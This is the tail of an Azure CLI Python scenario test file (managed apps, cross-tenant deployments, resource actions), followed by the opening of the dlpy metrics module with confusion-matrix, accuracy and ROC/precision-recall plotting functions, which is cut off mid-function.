self.check('artifacts[1].type', 'Custom') ]) self.cmd('managedapp definition delete -g {rg} -n {adn}') self.cmd('managedapp definition list -g {rg}', checks=self.is_empty()) self.cmd('role assignment delete --assignee {upn} --role contributor ') self.cmd('ad user delete --upn-or-object-id {upn}') class ManagedAppScenarioTest(ScenarioTest): @AllowLargeResponse() @ResourceGroupPreparer() def test_managedapp(self, resource_group): self.kwargs.update({ 'upn': self.create_random_name('testuser', 15) + '@azuresdkteam.onmicrosoft.com', 'sub': self.get_subscription_id() }) user_principal = self.cmd('ad user create --display-name tester123 --password Test123456789 --user-principal-name {upn}').get_output_in_json() time.sleep(15) # By-design, it takes some time for RBAC system propagated with graph object change with mock.patch('azure.cli.command_modules.role.custom._gen_guid', side_effect=self.create_guid): role_assignment = self.cmd('role assignment create --assignee {upn} --role contributor --scope "/subscriptions/{sub}" ').get_output_in_json() from msrestazure.tools import parse_resource_id role_definition_id = parse_resource_id(role_assignment['roleDefinitionId'])['name'] self.kwargs.update({ 'loc': 'westcentralus', 'adn': 'testappdefname', 'addn': 'test_appdef_123', 'ad_desc': 'test_appdef_123', 'uri': 'https://github.com/Azure/azure-managedapp-samples/raw/master/Managed%20Application%20Sample%20Packages/201-managed-storage-account/managedstorage.zip', 'auth': user_principal['objectId'] + ':' + role_definition_id, 'lock': 'None', 'rg': resource_group }) self.kwargs['ad_id'] = self.cmd('managedapp definition create -n {adn} --package-file-uri {uri} --display-name {addn} --description {ad_desc} -l {loc} -a {auth} --lock-level {lock} -g {rg}').get_output_in_json()['id'] # create a managedapp self.kwargs.update({ 'man': 'mymanagedapp', 'ma_loc': 'westcentralus', 'ma_kind': 'servicecatalog', 'ma_rg': self.create_random_name('climanagedapp', 25), 'param': '\'{\"storageAccountNamePrefix\": {\"value\": \"mytest\"}, \"storageAccountType\": {\"value\": \"Standard_LRS\"}}\'' }) self.kwargs['ma_rg_id'] = '/subscriptions/{sub}/resourceGroups/{ma_rg}'.format(**self.kwargs) self.kwargs['ma_id'] = self.cmd('managedapp create -n {man} -g {rg} -l {ma_loc} --kind {ma_kind} -m {ma_rg_id} -d {ad_id} --parameters {param} --tags "key=val" ', checks=[ self.check('name', '{man}'), self.check('type', 'Microsoft.Solutions/applications'), self.check('kind', 'servicecatalog'), self.check('managedResourceGroupId', '{ma_rg_id}'), self.check('tags', {'key': 'val'}) ]).get_output_in_json()['id'] self.cmd('managedapp list -g {rg}', checks=self.check('[0].name', '{man}')) self.cmd('managedapp show --ids {ma_id}', checks=[ self.check('name', '{man}'), self.check('type', 'Microsoft.Solutions/applications'), self.check('kind', 'servicecatalog'), self.check('managedResourceGroupId', '{ma_rg_id}') ]) self.cmd('managedapp delete -g {rg} -n {man}') self.cmd('managedapp list -g {rg}', checks=self.is_empty()) self.cmd('role assignment delete --assignee {upn} --role contributor ') self.cmd('ad user delete --upn-or-object-id {upn}') class CrossRGDeploymentScenarioTest(ScenarioTest): @ResourceGroupPreparer(name_prefix='cli_test_cross_rg_alt', parameter_name='resource_group_cross') @ResourceGroupPreparer(name_prefix='cli_test_cross_rg_deploy') def test_group_deployment_crossrg(self, resource_group, resource_group_cross): curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'rg1': resource_group, 'rg2': resource_group_cross, 'tf': os.path.join(curr_dir, 'crossrg_deploy.json').replace('\\', '\\\\'), 'dn': self.create_random_name('azure-cli-crossrgdeployment', 40), 'sa1': create_random_name(prefix='crossrg'), 'sa2': create_random_name(prefix='crossrg') }) self.cmd('group deployment validate -g {rg1} --template-file "{tf}" --parameters CrossRg={rg2} StorageAccountName1={sa1} StorageAccountName2={sa2}', checks=[ self.check('properties.provisioningState', 'Succeeded') ]) with self.assertRaises(CLIError): self.cmd('group deployment validate -g {rg1} --template-file "{tf}" --parameters CrossRg=SomeRandomRG StorageAccountName1={sa1} StorageAccountName2={sa2}') self.cmd('group deployment create -g {rg1} -n {dn} --template-file "{tf}" --parameters CrossRg={rg2}', checks=[ self.check('properties.provisioningState', 'Succeeded'), self.check('resourceGroup', '{rg1}'), ]) self.cmd('group deployment list -g {rg1}', checks=[ self.check('[0].name', '{dn}'), self.check('[0].resourceGroup', '{rg1}') ]) self.cmd('group deployment show -g {rg1} -n {dn}', checks=[ self.check('name', '{dn}'), self.check('resourceGroup', '{rg1}') ]) self.cmd('group deployment operation list -g {rg1} -n {dn}', checks=[ self.check('length([])', 3), self.check('[0].resourceGroup', '{rg1}') ]) class CrossTenantDeploymentScenarioTest(LiveScenarioTest): @ResourceGroupPreparer(name_prefix='cli_test_cross_tenant_deploy', location='eastus') def test_group_deployment_cross_tenant(self, resource_group): # Prepare Network Interface self.kwargs.update({ 'vm_rg': resource_group, 'vnet': 'clivmVNET', 'subnet': 'clivmSubnet', 'nsg': 'clivmNSG', 'ip': 'clivmPublicIp', 'nic': 'clivmVMNic' }) self.cmd('network vnet create -n {vnet} -g {vm_rg} --subnet-name {subnet}') self.cmd('network nsg create -n {nsg} -g {vm_rg}') self.cmd('network public-ip create -n {ip} -g {vm_rg} --allocation-method Dynamic') res = self.cmd('network nic create -n {nic} -g {vm_rg} --subnet {subnet} --vnet {vnet} --network-security-group {nsg} --public-ip-address {ip}').get_output_in_json() self.kwargs.update({ 'nic_id': res['NewNIC']['id'] }) # Prepare SIG in another tenant self.kwargs.update({ 'location': 'eastus', 'vm': self.create_random_name('cli_crosstenantvm', 40), 'gallery': self.create_random_name('cli_crosstenantgallery', 40), 'image': self.create_random_name('cli_crosstenantimage', 40), 'version': '1.1.2', 'captured': self.create_random_name('cli_crosstenantmanagedimage', 40), 'aux_sub': '1c638cf4-608f-4ee6-b680-c329e824c3a8', 'rg': self.create_random_name('cli_test_cross_tenant_rg', 40), 'aux_tenant': '72f988bf-86f1-41af-91ab-2d7cd011db47' }) self.cmd('group create -g {rg} --location {location} --subscription {aux_sub}', checks=self.check('name', self.kwargs['rg'])) self.cmd('sig create -g {rg} --gallery-name {gallery} --subscription {aux_sub}', checks=self.check('name', self.kwargs['gallery'])) self.cmd('sig image-definition create -g {rg} --gallery-name {gallery} --gallery-image-definition {image} --os-type linux -p publisher1 -f offer1 -s sku1 --subscription {aux_sub}', checks=self.check('name', self.kwargs['image'])) self.cmd('sig image-definition show -g {rg} --gallery-name {gallery} --gallery-image-definition {image} --subscription {aux_sub}', checks=self.check('name', self.kwargs['image'])) self.cmd('vm create -g {rg} -n {vm} --image ubuntults --admin-username clitest1 --generate-ssh-key --subscription {aux_sub}') self.cmd( 'vm run-command invoke -g {rg} -n {vm} --command-id RunShellScript --scripts "echo \'sudo waagent -deprovision+user --force\' | at -M now + 1 minutes" --subscription {aux_sub}') time.sleep(70) self.cmd('vm deallocate -g {rg} -n {vm} --subscription {aux_sub}') self.cmd('vm generalize -g {rg} -n {vm} --subscription {aux_sub}') self.cmd('image create -g {rg} -n {captured} --source {vm} --subscription {aux_sub}') res = self.cmd( 'sig image-version create -g {rg} --gallery-name {gallery} --gallery-image-definition {image} --gallery-image-version {version} --managed-image {captured} --replica-count 1 --subscription {aux_sub}').get_output_in_json() self.kwargs.update({ 'sig_id': res['id'] }) # Cross tenant deploy curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'tf': os.path.join(curr_dir, 'crosstenant_vm_deploy.json').replace('\\', '\\\\'), 'dn': self.create_random_name('cli-crosstenantdeployment', 40), 'dn1': self.create_random_name('cli-crosstenantdeployment1', 40), 'dn2': self.create_random_name('cli-crosstenantdeployment2', 40), 'dn3': self.create_random_name('cli-crosstenantdeployment3', 40) }) self.cmd('group deployment validate -g {vm_rg} --template-file "{tf}" --parameters SIG_ImageVersion_id={sig_id} NIC_id={nic_id}', checks=[ self.check('properties.provisioningState', 'Succeeded') ]) self.cmd('group deployment create -g {vm_rg} -n {dn} --template-file "{tf}" --parameters SIG_ImageVersion_id={sig_id} NIC_id={nic_id} --aux-subs "{aux_sub}"', checks=[ self.check('properties.provisioningState', 'Succeeded'), self.check('resourceGroup', '{vm_rg}') ]) self.cmd('group deployment list -g {vm_rg}', checks=[ self.check('[0].name', '{dn}'), self.check('[0].resourceGroup', '{vm_rg}') ]) self.cmd('group deployment show -g {vm_rg} -n {dn}', checks=[ self.check('name', '{dn}'), self.check('resourceGroup', '{vm_rg}') ]) self.cmd('group deployment create -g {vm_rg} -n {dn1} --template-file "{tf}" --parameters SIG_ImageVersion_id={sig_id} NIC_id={nic_id} --aux-tenants "{aux_tenant}"', checks=[ self.check('properties.provisioningState', 'Succeeded'), self.check('resourceGroup', '{vm_rg}') ]) self.cmd('group deployment list -g {vm_rg}', checks=[ self.check('[0].name', '{dn1}'), self.check('[0].resourceGroup', '{vm_rg}') ]) self.cmd('group deployment show -g {vm_rg} -n {dn1}', checks=[ self.check('name', '{dn1}'), self.check('resourceGroup', '{vm_rg}') ]) self.cmd('group deployment create -g {vm_rg} -n {dn2} --template-file "{tf}" --parameters SIG_ImageVersion_id={sig_id} NIC_id={nic_id} --aux-subs "{aux_sub}" -j', checks=[ self.check('properties.provisioningState', 'Succeeded'), self.check('resourceGroup', '{vm_rg}') ]) self.cmd('group deployment list -g {vm_rg}', checks=[ self.check('[0].name', '{dn2}'), self.check('[0].resourceGroup', '{vm_rg}') ]) self.cmd('group deployment show -g {vm_rg} -n {dn2}', checks=[ self.check('name', '{dn2}'), self.check('resourceGroup', '{vm_rg}') ]) self.cmd('group deployment create -g {vm_rg} -n {dn3} --template-file "{tf}" --parameters SIG_ImageVersion_id={sig_id} NIC_id={nic_id} --aux-tenants "{aux_tenant}" -j', checks=[ self.check('properties.provisioningState', 'Succeeded'), self.check('resourceGroup', '{vm_rg}') ]) self.cmd('group deployment list -g {vm_rg}', checks=[ self.check('[0].name', '{dn3}'), self.check('[0].resourceGroup', '{vm_rg}') ]) self.cmd('group deployment show -g {vm_rg} -n {dn3}', checks=[ self.check('name', '{dn3}'), self.check('resourceGroup', '{vm_rg}') ]) with self.assertRaises(AssertionError): self.cmd('group deployment create -g {vm_rg} -n {dn} --template-file "{tf}" --parameters SIG_ImageVersion_id={sig_id} NIC_id={nic_id} --aux-tenants "{aux_tenant}" --aux-subs "{aux_sub}"') @ResourceGroupPreparer(name_prefix='cli_test_deployment_group_cross_tenant', location='eastus') def test_deployment_group_cross_tenant(self, resource_group): # Prepare Network Interface self.kwargs.update({ 'vm_rg': resource_group, 'vnet': 'clivmVNET', 'subnet': 'clivmSubnet', 'nsg': 'clivmNSG', 'ip': 'clivmPublicIp', 'nic': 'clivmVMNic' }) self.cmd('network vnet create -n {vnet} -g {vm_rg} --subnet-name {subnet}') self.cmd('network nsg create -n {nsg} -g {vm_rg}') self.cmd('network public-ip create -n {ip} -g {vm_rg} --allocation-method Dynamic') res = self.cmd('network nic create -n {nic} -g {vm_rg} --subnet {subnet} --vnet {vnet} --network-security-group {nsg} --public-ip-address {ip}').get_output_in_json() self.kwargs.update({ 'nic_id': res['NewNIC']['id'] }) # Prepare SIG in another tenant self.kwargs.update({ 'location': 'eastus', 'vm': self.create_random_name('cli_crosstenantvm', 40), 'gallery': self.create_random_name('cli_crosstenantgallery', 40), 'image': self.create_random_name('cli_crosstenantimage', 40), 'version': '1.1.2', 'captured': self.create_random_name('cli_crosstenantmanagedimage', 40), 'aux_sub': '1c638cf4-608f-4ee6-b680-c329e824c3a8', 'rg': self.create_random_name('cli_test_cross_tenant_rg', 40), 'aux_tenant': '72f988bf-86f1-41af-91ab-2d7cd011db47' }) self.cmd('group create -g {rg} --location {location} --subscription {aux_sub}', checks=self.check('name', self.kwargs['rg'])) self.cmd('sig create -g {rg} --gallery-name {gallery} --subscription {aux_sub}', checks=self.check('name', self.kwargs['gallery'])) self.cmd('sig image-definition create -g {rg} --gallery-name {gallery} --gallery-image-definition {image} --os-type linux -p publisher1 -f offer1 -s sku1 --subscription {aux_sub}', checks=self.check('name', self.kwargs['image'])) self.cmd('sig image-definition show -g {rg} --gallery-name {gallery} --gallery-image-definition {image} --subscription {aux_sub}', checks=self.check('name', self.kwargs['image'])) self.cmd('vm create -g {rg} -n {vm} --image ubuntults --admin-username clitest1 --generate-ssh-key --subscription {aux_sub}') self.cmd( 'vm run-command invoke -g {rg} -n {vm} --command-id RunShellScript --scripts "echo \'sudo waagent -deprovision+user --force\' | at -M now + 1 minutes" --subscription {aux_sub}') time.sleep(70) self.cmd('vm deallocate -g {rg} -n {vm} --subscription {aux_sub}') self.cmd('vm generalize -g {rg} -n {vm} --subscription {aux_sub}') self.cmd('image create -g {rg} -n {captured} --source {vm} --subscription {aux_sub}') res = self.cmd( 'sig image-version create -g {rg} --gallery-name {gallery} --gallery-image-definition {image} --gallery-image-version {version} --managed-image {captured} --replica-count 1 --subscription {aux_sub}').get_output_in_json() self.kwargs.update({ 'sig_id': res['id'] }) # Cross tenant deploy curr_dir = os.path.dirname(os.path.realpath(__file__)) self.kwargs.update({ 'tf': os.path.join(curr_dir, 'crosstenant_vm_deploy.json').replace('\\', '\\\\'), 'dn': self.create_random_name('cli-crosstenantdeployment', 40), 'dn1': self.create_random_name('cli-crosstenantdeployment1', 40), 'dn2': self.create_random_name('cli-crosstenantdeployment2', 40), 'dn3': self.create_random_name('cli-crosstenantdeployment3', 40) }) self.cmd('deployment group validate -g {vm_rg} --template-file "{tf}" --parameters SIG_ImageVersion_id={sig_id} NIC_id={nic_id}', checks=[ self.check('properties.provisioningState', 'Succeeded') ]) self.cmd('deployment group create -g {vm_rg} -n {dn} --template-file "{tf}" --parameters SIG_ImageVersion_id={sig_id} NIC_id={nic_id} --aux-subs "{aux_sub}"', checks=[ self.check('properties.provisioningState', 'Succeeded'), self.check('resourceGroup', '{vm_rg}') ]) self.cmd('deployment group list -g {vm_rg}', checks=[ self.check('[0].name', '{dn}'), self.check('[0].resourceGroup', '{vm_rg}') ]) self.cmd('deployment group show -g {vm_rg} -n {dn}', checks=[ self.check('name', '{dn}'), self.check('resourceGroup', '{vm_rg}') ]) self.cmd('deployment group create -g {vm_rg} -n {dn1} --template-file "{tf}" --parameters SIG_ImageVersion_id={sig_id} NIC_id={nic_id} --aux-tenants "{aux_tenant}"', checks=[ self.check('properties.provisioningState', 'Succeeded'), self.check('resourceGroup', '{vm_rg}') ]) self.cmd('deployment group list -g {vm_rg}', checks=[ self.check('[0].name', '{dn1}'), self.check('[0].resourceGroup', '{vm_rg}') ]) self.cmd('deployment group show -g {vm_rg} -n {dn1}', checks=[ self.check('name', '{dn1}'), self.check('resourceGroup', '{vm_rg}') ]) self.cmd('deployment group create -g {vm_rg} -n {dn2} --template-file "{tf}" --parameters SIG_ImageVersion_id={sig_id} NIC_id={nic_id} --aux-subs "{aux_sub}" -j', checks=[ self.check('properties.provisioningState', 'Succeeded'), self.check('resourceGroup', '{vm_rg}') ]) self.cmd('deployment group list -g {vm_rg}', checks=[ self.check('[0].name', '{dn2}'), self.check('[0].resourceGroup', '{vm_rg}') ]) self.cmd('deployment group show -g {vm_rg} -n {dn2}', checks=[ self.check('name', '{dn2}'), self.check('resourceGroup', '{vm_rg}') ]) self.cmd('deployment group create -g {vm_rg} -n {dn3} --template-file "{tf}" --parameters SIG_ImageVersion_id={sig_id} NIC_id={nic_id} --aux-tenants "{aux_tenant}" -j', checks=[ self.check('properties.provisioningState', 'Succeeded'), self.check('resourceGroup', '{vm_rg}') ]) self.cmd('deployment group list -g {vm_rg}', checks=[ self.check('[0].name', '{dn3}'), self.check('[0].resourceGroup', '{vm_rg}') ]) self.cmd('deployment group show -g {vm_rg} -n {dn3}', checks=[ self.check('name', '{dn3}'), self.check('resourceGroup', '{vm_rg}') ]) with self.assertRaises(AssertionError): self.cmd('deployment group create -g {vm_rg} -n {dn} --template-file "{tf}" --parameters SIG_ImageVersion_id={sig_id} NIC_id={nic_id} --aux-tenants "{aux_tenant}" --aux-subs "{aux_sub}"') class InvokeActionTest(ScenarioTest): @ResourceGroupPreparer(name_prefix='cli_test_invoke_action') def test_invoke_action(self, resource_group): self.kwargs.update({ 'vm': self.create_random_name('cli-test-vm', 30), 'user': 'ubuntu', 'pass': self.create_random_name('Longpassword#1', 30) }) self.kwargs['vm_id'] = self.cmd('vm create -g {rg} -n {vm} --use-unmanaged-disk --image UbuntuLTS --admin-username {user} --admin-password {pass} --authentication-type password --nsg-rule None').get_output_in_json()['id'] self.cmd('resource invoke-action --action powerOff --ids {vm_id}') self.cmd('resource invoke-action --action generalize --ids {vm_id}') self.cmd('resource invoke-action --action deallocate --ids {vm_id}') self.kwargs['request_body'] = '{\\"vhdPrefix\\":\\"myPrefix\\",\\"destinationContainerName\\":\\"container\\",\\"overwriteVhds\\":\\"true\\"}' self.cmd('resource invoke-action --action capture --ids {vm_id} --request-body {request_body}') class GlobalIdsScenarioTest(ScenarioTest): @ResourceGroupPreparer(name_prefix='cli_test_global_ids') def test_global_ids(self, resource_group): self.kwargs.update({ 'vnet': 'vnet1' }) self.kwargs['vnet_id'] = self.cmd('network vnet create -g {rg} -n {vnet}').get_output_in_json()['newVNet']['id'] # command will fail if the other parameters were actually used self.cmd('network vnet show --subscription fakesub --resource-group fakerg -n fakevnet --ids {vnet_id}') class ResourceGroupLocalContextScenarioTest(LocalContextScenarioTest): def test_resource_group_local_context(self): self.kwargs.update({ 'group1': 'test_local_context_group_1', 'group2': 'test_local_context_group_2', 'location': 'eastasia' }) self.cmd('group create -n {group1} -l {location}', checks=[ self.check('name', self.kwargs['group1']), self.check('location', self.kwargs['location']) ]) self.cmd('group show', checks=[ self.check('name', self.kwargs['group1']), self.check('location', self.kwargs['location']) ]) with self.assertRaisesRegexp(SystemExit, '2'): self.cmd('group delete') self.cmd('group delete -n {group1} -y') self.cmd('group create -n {group2}', checks=[ self.check('name', self.kwargs['group2']), self.check('location', self.kwargs['location']) ]) self.cmd('group delete -n {group2} -y') if __name__ == '__main__': unittest.main()

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0.048741

0.038817

0.043322

0.025416

0.851521

0.821157

0.776766

0.741588

0.711321

0.684028

0

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0.209952

172,049

3,233

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0.754353

0.032822

0

0.632382

0

0.079148

0.437922

0.127753

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0.036963

false

0.002411

0.007634

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1

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null

0

6

0ad65e62c831e21cea3d4b4e06d2a132c008f0af

46,020

py

Python

dlpy/metrics.py

arharvey918/python-dlpy

423985ebe65acbcbe9a7996bb26aee5e66eddc49

[ "Apache-2.0" ]

1

2018-08-27T15:10:11.000Z

dlpy/metrics.py

arharvey918/python-dlpy

423985ebe65acbcbe9a7996bb26aee5e66eddc49

[ "Apache-2.0" ]

null

dlpy/metrics.py

arharvey918/python-dlpy

423985ebe65acbcbe9a7996bb26aee5e66eddc49

[ "Apache-2.0" ]

1

2019-09-19T15:59:26.000Z

#!/usr/bin/env python # encoding: utf-8 # # Copyright SAS Institute # # Licensed under the Apache License, Version 2.0 (the License); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ''' Evaluation metrics for classification and regression tasks ''' from .utils import random_name from swat.cas.table import CASColumn from swat.cas.table import CASTable import matplotlib.pyplot as plt import numpy as np import pandas as pd import warnings def confusion_matrix(y_true, y_pred, castable=None, labels=None, id_vars=None): ''' Computes the confusion matrix of a classification task. Parameters ---------- y_true : string or :class:`CASColumn` The column of the ground truth labels. If it is a string, then y_pred has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_pred has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_pred and y_true are :class:`CASColumn`, they can be in different CASTables. y_pred : string or :class:`CASColumn` The column of the predicted class labels. If it is a string, then y_true has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_true has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_pred and y_true are :class:`CASColumn`, they can be in different CASTables. castable : :class:`CASTable`, optional The CASTable object to use as the source if the y_pred and y_true are strings. Default = None labels : list, optional List of labels that can be used to reorder the matrix or select the subset of the labels. If ``labels=None``, all labels are included. Default=None id_vars : string or list of strings, optional Column names that serve as unique id for y_true and y_pred if they are from different CASTables. The column names need to appear in both CASTables, and they serve to match y_true and y_pred appropriately, since observation orders can be shuffled in distributed computing environment. Default = None Returns ------- :class:`pandas.DataFrame` The column index is the predicted class labels. The row index is the ground truth class labels. ''' check_results = _check_inputs(y_true, y_pred, castable=castable, return_target_dtype=True, id_vars=id_vars) y_true = check_results[0] y_pred = check_results[1] castable = check_results[2] conn = check_results[3] tmp_table_created = check_results[4] target_dtype = check_results[5] res = castable.retrieve('crosstab', _messagelevel='error', row=y_true, col=y_pred) conf_mat = res['Crosstab'] # make conf_mat to be a symmetric # collect class info from rows and cols row_class = [x.strip() for x in conf_mat.iloc[:,0].values] col_class = [conf_mat.colinfo[x].label for x in conf_mat.columns.values][1:] # use union to get the total number of classes import collections collections.OrderedDict.fromkeys(row_class).keys() collections.OrderedDict.fromkeys(col_class).keys() tot_class = set(row_class).union(set(col_class)) # generate the full matrix cls_list = list(tot_class) cls_list.sort() ret = np.zeros((len(tot_class), len(tot_class))) # dummy array for i, row in conf_mat.iterrows(): irow = cls_list.index(row.iloc[0].strip()) for j, col in enumerate(conf_mat.iloc[i, 1:]): icol = cls_list.index(col_class[j]) # print(irow, icol, j, col) ret[int(irow), int(icol)] = col import pandas as pd conf_mat = pd.DataFrame(data=ret, columns=cls_list, index=cls_list) #change the index column name conf_mat.index.names = [y_true] if target_dtype == 'double': target_index_dtype = np.float64 #conf_mat[y_true] = conf_mat[y_true].astype(target_index_dtype) elif target_dtype.startswith('int'): target_index_dtype = getattr(np, target_dtype) #conf_mat[y_true] = conf_mat[y_true].astype(target_index_dtype) else: target_index_dtype = 'str' conf_mat.index = conf_mat.index.astype(target_index_dtype) #conf_mat.set_index(y_true, inplace=True) #conf_mat.columns = conf_mat.index.copy() #conf_mat.columns.name = y_pred if tmp_table_created: # if tmp_table_created, tbl_name referes to the temporary table name conn.retrieve('table.droptable', _messagelevel='error', name=castable.name) if labels is None: return conf_mat else: if not isinstance(labels, list): labels = [labels] return conf_mat.iloc[labels, labels] def accuracy_score(y_true, y_pred, castable=None, normalize=True, id_vars=None): ''' Computes the classification accuracy score. Parameters ---------- y_true : string or :class:`CASColumn` The column of the ground truth labels. If it is a string, then y_pred has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_pred has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_pred and y_true are :class:`CASColumn`, they can be in different CASTables. y_pred : string or :class:`CASColumn` The column of the predicted class labels. If it is a string, then y_true has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_true has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_pred and y_true are :class:`CASColumn`, they can be in different CASTables. castable : :class:`CASTable`, optional The CASTable object to use as the source if the y_pred and y_true are strings. Default = None normalize : boolean, optional If ``False``, return the number of correctly classified samples. Otherwise, return the fraction of correctly classified samples. Default = True id_vars : string or list of strings, optional Column names that serve as unique id for y_true and y_pred if they are from different CASTables. The column names need to appear in both CASTables, and they serve to match y_true and y_pred appropriately, since observation orders can be shuffled in distributed computing environment. Default = None Returns ------- score : float If ``normalize=False``, return the number of correctly classified samples. Otherwise, return the fraction of correctly classified samples. ''' check_results = _check_inputs(y_true, y_pred, castable=castable, return_target_dtype=False, id_vars=id_vars) y_true = check_results[0] y_pred = check_results[1] castable = check_results[2] conn = check_results[3] tmp_table_created = check_results[4] # use confusion_matrix to compute accuracy conf_mat = confusion_matrix(y_true, y_pred, castable=castable, id_vars=id_vars) # total number of observations obs_per_class = conf_mat.sum() tot_obs = sum(obs_per_class) correct_pred_class = pd.Series(np.diag(conf_mat), index=[conf_mat.index, conf_mat.columns]) tot_correct_pred_obs = sum(correct_pred_class) if normalize: score = tot_correct_pred_obs/tot_obs else: score = tot_correct_pred_obs if tmp_table_created: # if tmp_table_created, tbl_name referes to the temporary table name conn.retrieve('table.droptable', _messagelevel='error', name=castable.name) return score def plot_roc(y_true, y_score, pos_label, castable=None, cutstep=0.001, figsize=(8, 8), fontsize_spec=None, linewidth=1, id_vars=None): ''' Plot the receiver operating characteristic (ROC) curve for binary classification tasks. Parameters ---------- y_true : string or :class:`CASColumn` The column of the ground truth labels. If it is a string, then y_score has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_score has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_score and y_true are :class:`CASColumn`, they can be in different CASTable. y_score : string or :class:`CASColumn` The column of estimated probability for the positive class. If it is a string, then y_true has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_true has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_score and y_true are :class:`CASColumn`, they can be in different CASTable. pos_label : string, int or float The positive class label. castable : :class:`CASTable`, optional The CASTable object to use as the source if the y_score and y_true are strings. Default = None cutstep : float > 0 and < 1, optional The stepsize of threshold cutoffs. Default=0.001. figsize : tuple, optional The size of the generated figure. Default=(8, 8). fontsize_spec : dict, optional It specifies the fontsize for 'xlabel', 'ylabel', 'xtick', 'ytick' and 'title'. (e.g. {'xlabel':14, 'ylabel':14}). If None, it will take the default fontsize, which are {'xlabel':16, 'ylabel':16, 'xtick':14, 'ytick':14, 'title':20} Default=None. linewidth : float, optional It specify the line width for the ROC curve. Default=1. id_vars : string or list of strings, optional Column names that serve as unique id for y_true and y_score if they are from different CASTables. The column names need to appear in both CASTables, and they serve to match y_true and y_score appropriately, since observation orders can be shuffled in distributed computing environment. Default = None. Returns ------- :class:`matplotlib.axes.Axes` The x-axis is the false positive rate and the y-axis is the true positive rate. ''' fontsize = {'xlabel':16, 'ylabel':16, 'xtick':14, 'ytick':14, 'title':20} if fontsize_spec is not None: fontsize.update(fontsize_spec) if not isinstance(pos_label, str): pos_label = str(pos_label) check_results = _check_inputs(y_true, y_score, castable=castable, return_target_dtype=False, id_vars=id_vars) y_true = check_results[0] y_score = check_results[1] castable = check_results[2] conn = check_results[3] tmp_table_created = check_results[4] conn.retrieve('loadactionset', _messagelevel = 'error', actionset = 'percentile') res = conn.retrieve('percentile.assess', _messagelevel = 'error', table=castable, inputs=y_score, response=y_true, event=pos_label, cutstep=cutstep) if tmp_table_created: # if tmp_tbl_created, tbl_name referes to the temporary table name conn.retrieve('table.droptable', _messagelevel='error', name=castable.name) rocinfo = res['ROCInfo'] fpr = list(rocinfo.FPR) + [0] tpr = list(rocinfo.Sensitivity) + [0] fig, ax = plt.subplots(1, 1, figsize=figsize) ax.plot(fpr, tpr, linestyle='-', linewidth=linewidth) ax.set_ylim([-0.01, 1.01]) ax.set_xlim([-0.01, 1.01]) ax.plot([0,1], [0,1], linestyle='--', linewidth=linewidth) ax.set_xlabel('False Positive Rate', fontsize=fontsize['xlabel']) ax.set_ylabel('True Positive Rate', fontsize=fontsize['ylabel']) ax.get_xaxis().set_tick_params(direction='out', labelsize=fontsize['xtick']) ax.get_yaxis().set_tick_params(direction='out', labelsize=fontsize['ytick']) ax.set_title('ROC curve', fontsize=fontsize['title']) return ax def plot_precision_recall(y_true, y_score, pos_label, castable=None, cutstep=0.001, figsize=(8, 8), fontsize_spec=None, linewidth=1, id_vars=None): ''' Plot the precision recall(PR) curve for binary classification tasks. Parameters ---------- y_true : string or :class:`CASColumn` The column of the ground truth labels. If it is a string, then y_score has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_score has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_score and y_true are :class:`CASColumn`, they can be in different CASTable. y_score : string or :class:`CASColumn` The column of estimated probability for the positive class. If it is a string, then y_true has to be a string and they both belongs to the same CASTable specified by the castable argument. If it is a :class:`CASColumn`, then y_true has to be a :class:`CASColumn`, and the castable argument is ignored. When both y_score and y_true are :class:`CASColumn`, they can be in different CASTable. pos_label : string, int or float The positive class label. castable : :class:`CASTable`, optional The CASTable object to use as the source if the y_score and y_true are strings. Default = None cutstep : float > 0 and < 1, optional The stepsize of threshold cutoffs. Default=0.001. figsize : tuple, optional The size of the generated figure. Default=(8, 8). fontsize_spec : dict, optional It specifies the fontsize for 'xlabel', 'ylabel', 'xtick', 'ytick' and 'title'. (e.g. {'xlabel':14, 'ylabel':14}). If None, it will take the default fontsize, which are {'xlabel':16, 'ylabel':16, 'xtick':14, 'ytick':14, 'title':20} Default=None. linewidth : float, optional It specify the line width for the ROC curve. Default=1. id_vars : string or list of strings, optional Column names that serve as unique id for y_true and y_score if they are from different CASTables. The column names need to appear in both CASTables, and they serve to match y_true and y_score appropriately, since observation orders can be shuffled in distributed computing environment. Default = None. Returns ------- :class:`matplotlib.axes.Axes` The x-axis is the recall(sensitivity) and the y-axis is the precision. ''' fontsize = {'xlabel':16, 'ylabel':16, 'xtick':14, 'ytick':14, 'title':20} if fontsize_spec is not None: fontsize.update(fontsize_spec) if not isinstance(pos_label, str): pos_label = str(pos_label) check_results = _check_inputs(y_true, y_score, castable=castable, return_target_dtype=False, id_vars=id_vars) y_true = check_results[0] y_score = check_results[1] castable = check_results[2] conn = check_results[3] tmp_table_created = check_results[4] conn.retrieve('loadactionset', _messagelevel = 'error', actionset = 'percentile') res = conn.retrieve('percentile.assess', _messagelevel = 'error', table=castable, inputs=y_score, response=y_true, event=pos_label, cutstep=cutstep) if tmp_table_created: # if tmp_tbl_created, tbl_name referes to the temporary table name conn.retrieve('table.droptable', _messagelevel='error', name=castable.name) rocinfo = res['ROCInfo'] rocinfo.loc[rocinfo.TP+ rocinfo.FP == 0, 'FDR'] = 0 fdr = list(rocinfo.FDR) + [0] precision = [1-x for x in fdr] recall = 